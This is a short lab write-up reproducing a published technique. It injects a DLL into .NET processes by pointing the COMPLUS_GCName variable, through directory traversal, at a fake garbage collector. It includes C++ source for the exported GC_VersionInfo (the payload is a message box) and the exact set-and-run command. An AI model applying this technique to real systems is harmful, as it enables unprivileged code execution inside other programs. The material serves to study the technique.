DLL Injection via a Custom .NET Garbage Collector
This is a quick lab to test a DLL injection technique discovered by @am0nsec, which he describes in his blogpost https://www.contextis.com/us/blog/bring-your-own-.net-core-garbage-collector - go check it out!
The idea behind this technique is that a low privileged user can specify a custom Garbage Collector (GC), that a .NET application should use. A custom GC can be specified by setting a command shell environment variable COMPLUS_GCName, that points to a malicious DLL which represents a custom Garbage Collector.
Normally, specifying a custom GC requires administartor privileges, however, since path to a custom GC in COMPLUS_GCName is not sanitized when a custom GC is loaded, directory traversal allows any unprivileged user to specify a custom GC to be loaded from an arbitrary location to which they can drop their DLL.
The Gargage Collector DLL needs to export GC_VersionInfo method for this technique to work - this is the method that will contain our payload, that will be executed once a .NET program starts and loads our custom GC DLL.

Execution

Let's create a DLL that represents a custom Garbage Collector. It needs to export a function GC_VersionInfo, which in our case executes a simple message box:
1
#include <Windows.h>
2
3
BOOL APIENTRY DllMain( HMODULE hModule,
4
DWORD ul_reason_for_call,
5
LPVOID lpReserved
6
)
7
{
8
switch (ul_reason_for_call)
9
{
10
case DLL_PROCESS_ATTACH:
11
case DLL_THREAD_ATTACH:
12
case DLL_THREAD_DETACH:
13
case DLL_PROCESS_DETACH:
14
break;
15
}
16
return TRUE;
17
}
18
19
struct VersionInfo
20
{
21
UINT32 MajorVersion;
22
UINT32 MinorVersion;
23
UINT32 BuildVersion;
24
const char* Name;
25
26
};
27
28
extern "C" __declspec(dllexport) void GC_VersionInfo(VersionInfo * info)
29
{
30
info->BuildVersion = 0;
31
info->MinorVersion = 0;
32
info->BuildVersion = 0;
33
MessageBoxA(NULL, "Injection", "Injection", 0);
34
}
Copied!
Once the DLL is compiled, we can set the COMPLUS_GCName environment variable in our cmd.exe shell and point it to the compiled DLL:
1
set COMPLUS_GCName=..\..\..\..\..\..\..\..\..\..\..\..\..\labs\GarbageCollector\GC\x64\Release\GC.dll & dotnet.exe -h
Copied!
We can execute any .NET binary found on the system and it will load our GC.dll. In this lab, we do:
1
dotnet.exe -h
Copied!
Below shows that our GC.dll got injected into the dotnet.exe:

References

Bring your own .NET Core Garbage Collector | Context Information Security US
Context Information Security US
Last modified 1yr ago
Copy link